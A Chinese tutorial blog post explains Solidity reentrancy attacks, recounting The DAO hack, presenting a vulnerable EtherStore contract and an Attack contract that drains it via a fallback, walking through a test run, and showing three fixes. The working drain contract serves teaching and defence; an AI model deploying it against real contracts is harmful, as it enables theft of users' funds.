草庐IT

Solidity - 安全 - 重入攻击(Reentrancy)

瘦身小蚂蚁 2024-04-10 原文

The DAO事件

首先简要说明下一个很有名的重入攻击事件,再模拟重入攻击。

The DAO是分布式自治组织,2016年5月正式发布,该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午,被攻击的消息开始在社交网站上出现,到6月18日黑客将超过360万个以太币转移到一个child DAO项目中,child DAO项目和The DAO有着一样的结构,当时以太币的价格从20美元降到了13美元。

当时,一个所谓的”递归调用“攻击(现在称为重入攻击)名词随之出现,这种攻击可以被用来消耗一些智能合约账户。

这次的黑客攻击最终导致了以太坊硬分叉,分为ETH和ETC,分叉前的为ETC(以太坊经典),现在使用的ETH为硬分叉后的以太坊。

整个事件可以参考: The DAO攻击历史_x-2010的博客-CSDN博客_dao 攻击

模拟重入攻击

攻击与被攻击合约代码

说明:以下重入攻击代码,在0.8.0以下版本可以成功测试,0.8.0及以上版本未能成功测试,调用攻击函数时被拦截报错。

源码可参见: smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

//被攻击合约
contract EtherStore {
    //记录余额
    mapping(address => uint256) public balance;

    // 存款,ether转入合约地址,同时更新调用者的balance;
    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

        // 更新余额
        balance[msg.sender] -= _amount;
    }

    // 查看合约余额
    function getContractBalance() external view returns(uint256) {
        return address(this).balance;
    }
}

//攻击合约(黑客编写)
contract Attack {
    EtherStore public etherstore;

    constructor(address _etherStoreAddress) public {
        etherstore = EtherStore(_etherStoreAddress);
    }

    //回退函数
    fallback() external payable {
        //判断被攻击合约余额大于等于1 ether,是为了避免死循环,死循环时调用将会失败,达不到目的了
        if (address(etherstore).balance >= 1 ether) {
            //从被攻击合约中取款
            etherstore.withdraw(1 ether);
        } 
    }

    //攻击函数
    function attack() external payable {
        require(msg.value >= 1 ether);

        //向被攻击合约存款
        //etherstore.deposit.value(1 ether)();  //0.6.0版本以前写法
        etherstore.deposit{value: 1 ether}();
        //从被攻击合约中取款
        etherstore.withdraw(1 ether);
    }

    //查看合约余额
    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }

    //取出合约余额到外部账户中
    function withdraw() external payable {
        payable(msg.sender).transfer(address(this).balance);
    }

    //查看外部账户余额
    function getExternalBalance() external view returns (uint256) {
        return msg.sender.balance;
    }
}

 攻击函数 attack 被调用后执行流程如下图所示:

 

测试重入攻击

1、测试使用的外部账户

使用三个外部账户

账户1   0x5B38Da6a701c568545dCfcB03FcB875f56beddC4  部署被攻击合约(EtherStore)

账户2  0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 部署攻击合约(Attack)

账户3  0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db  向被攻击合约(EtherStore)存款

2、部署合约

(1)部署被攻击合约(EtherStore)

使用账户1部署被攻击合约(EtherStore)

部署完成得到被攻击合约(EtherStore)地址:0xd9145CCE52D386f254917e481eB44e9943F39138

(2)部署攻击合约(Attack)

使用账户2 部署攻击合约(Attack),参数填写被攻击合约(EtherStore)地址,在实际攻击时,参数填写在以太网中的实际合约地址。

部署完成得到攻击合约(Attack)地址:

0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

3、测试步骤(攻击获取ETH)

(1)账户3调用被攻击合约(EtherStore)存款函数

  1. 账户3 存款6Ether(调用函数 deposit)
  2. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),当前余额为6Ether

(2)账户2调用攻击合约(Attack)攻击函数

  1. 账户2 调用攻击合约(Attack)中攻击函数(调用函数 attack),攻击函数中调用被攻击合约中的取款函数,此时会执行攻击合约中的回退函数(fallback),fallback将被攻击合约账户余额转入攻击合约账户中
  2. 查看攻击合约(Attack)余额(调用函数 getContractBalance),余额为 7 Ether = 自己存款 1 Ether + 被攻击合约 6 Ether
  3. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),此时已为 0 Ether,已被攻击者成功转走

查看被攻击合约(EtherStore)余额

说明:

fallback函数是合约中的一个未命名函数,没有参数且没有返回值。

fallback执行条件:

  1. 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配时(或没有提供调用数据),fallback函数会被执行;
  2. 当合约收到以太币时,fallback函数会被执行;攻击合约(Attack)中用到了此触发fallback执行条件。

关于fallback函数执行的2种触发方式可参见: Solitidy - fallback 回退函数 - 2种触发执行方式_ling1998的博客-CSDN博客

 (3)攻击者被攻击合约余额转入自己的用户账户

  1. 账户2调用攻击合约(Attack)中取款函数(withdraw),合约账户余额转入账户2用户账户
  2. 查看攻击合约账户余额,已为 0 Ether
  3. 查看攻击者(即账户2)用户账户余额,已成功获取约 6 Ether

4、测试^0.8.0版本

使用0.8.0测试步骤(2)时,报错,错误信息如下所示:

transact to Attack.attack errored: VM error: revert.

revert
	The transaction has been reverted to the initial state.
Reason provided by the contract: "Failed to withdraw Ether".
Debug the transaction to get more information.

修改EtherStore合约中的函数withdraw(加粗字体),即一次性将合约地址账户余额全部转入调用者账户,之后账户余额清零,测试成功,但是这样没有再次执行withdraw啊。

    function withdraw(uint256 _amount) external {

        // 验证账户余额是否充足

        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        // 取款(将合约地址账户余额全部转入调用者账户)

        (bool result,) = msg.sender.call{value: balance[msg.sender]}("");

        // 验证取款结果

        require(result, "Failed to withdraw Ether");  

        // 更新余额:清零

        balance[msg.sender] = 0;

    }

解决重入攻击方案 

1、被攻击合约(EtherStore)中取款函数先更新余额再取款

调用被攻击合约(EtherStore)中的取款函数,调顺序

        // 更新余额
        balance[msg.sender] -= _amount;
        
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

展示调整后的取款函数withdraw 

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        // 更新余额
        balance[msg.sender] -= _amount;
        
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");
    }

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,与在0.8.0版本错误相同,如下图所示

 2、取款使用transfer代替msg.sender.call

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        /** 删除.call调用 **/
        // // 取款(从合约地址转入调用者账户)
        // (bool result,) = msg.sender.call{value: _amount}("");
        // // 验证取款结果 
        // require(result, "Failed to withdraw Ether");
        
        // 取款(从合约地址转入调用者账户)
        msg.sender.transfer(_amount);

        // 更新余额
        balance[msg.sender] -= _amount;
    }

 执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示:

3、使用重入锁

增加一个状态变量标识是否加锁,若已加锁则不能再调用被攻击函数中的取款方法。

//被攻击合约
contract EtherStore {
    //记录余额
    mapping(address => uint256) public balance;

    //锁
    bool locked;

    //判断是否加锁,若加锁已返回,否则加锁,执行完释放锁
    modifier noLock() {
        require(!locked, "The lock is locked.");
        locked = true;
        _;
        locked = false;
    }

    // 存款,ether转入合约地址,同时更新调用者的balance;
    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) noLock external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

        // 更新余额
        balance[msg.sender] -= _amount;
    }

    // 查看合约余额
    function getContractBalance() external view returns(uint256) {
        return address(this).balance;
    }
}

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示: 

有关Solidity - 安全 - 重入攻击(Reentrancy)的更多相关文章

  1. ruby - 如何使用 Ruby aws/s3 Gem 生成安全 URL 以从 s3 下载文件 - 2

    我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A

  2. ruby - 如何安全地删除文件? - 2

    在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?

  3. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  4. ruby-on-rails - 安全地显示使用回形针 gem 上传的图像 - 2

    默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同

  5. ruby - 使写入文件线程安全 - 2

    我在一个ruby​​文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}

  6. 玩以太坊链上项目的必备技能(初识智能合约语言-Solidity之旅一) - 2

    前面一篇关于智能合约翻译文讲到了,是一种计算机程序,既然是程序,那就可以使用程序语言去编写智能合约了。而若想玩区块链上的项目,大部分区块链项目都是开源的,能看得懂智能合约代码,或找出其中的漏洞,那么,学习Solidity这门高级的智能合约语言是有必要的,当然,这都得在公链``````以太坊上,毕竟国内的联盟链有些是不兼容Solidity。Solidity是一种面向对象的高级语言,用于实现智能合约。智能合约是管理以太坊状态下的账户行为的程序。Solidity是运行在以太坊(Ethereum)虚拟机(EVM)上,其语法受到了c++、python、javascript影响。Solidity是静态类型

  7. ruby-on-rails - 最灵活的 Rails 密码安全实现 - 2

    关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。要求我们推荐或查找工具、库或最喜欢的场外资源的问题对于StackOverflow来说是偏离主题的,因为它们往往会吸引自以为是的答案和垃圾邮件。相反,describetheproblem以及迄今为止为解决该问题所做的工作。关闭8年前。Improvethisquestion我需要实现具有各种灵活需求的密码安全。这些要求基本上取自Sanspasswordpolicy:Strongpasswordshavethefollowingcharacteristics:Containatleastthreeofthe

  8. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  9. 常见网络安全产品汇总(私信发送思维导图) - 2

    安全产品安全网关类防火墙Firewall防火墙防火墙主要用于边界安全防护的权限控制和安全域的划分。防火墙•信息安全的防护系统,依照特定的规则,允许或是限制传输的数据通过。防火墙是一个由软件和硬件设备组合而成,在内外网之间、专网与公网之间的界面上构成的保护屏障。下一代防火墙•下一代防火墙,NextGenerationFirewall,简称NGFirewall,是一款可以全面应对应用层威胁的高性能防火墙,提供网络层应用层一体化安全防护。生产厂家•联想网御、CheckPoint、深信服、网康、天融信、华为、H3C等防火墙部署部署于内、外网编辑额,用于权限访问控制和安全域划分。UTM统一威胁管理(Un

  10. ruby - 为什么我必须对 Net::HTTP 请求的安全字符进行 URI.encode? - 2

    我尝试使用Net::HTTP向Twitter发送GET请求(出于隐私原因替换了用户ID):url=URI.parse("http://api.twitter.com/1/friends/ids.json?user_id=12345")resp=Net::HTTP.get_response(url)这会在Net::HTTP中引发异常:NoMethodError:undefinedmethodempty?'for#from/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/net/http.rb:1

随机推荐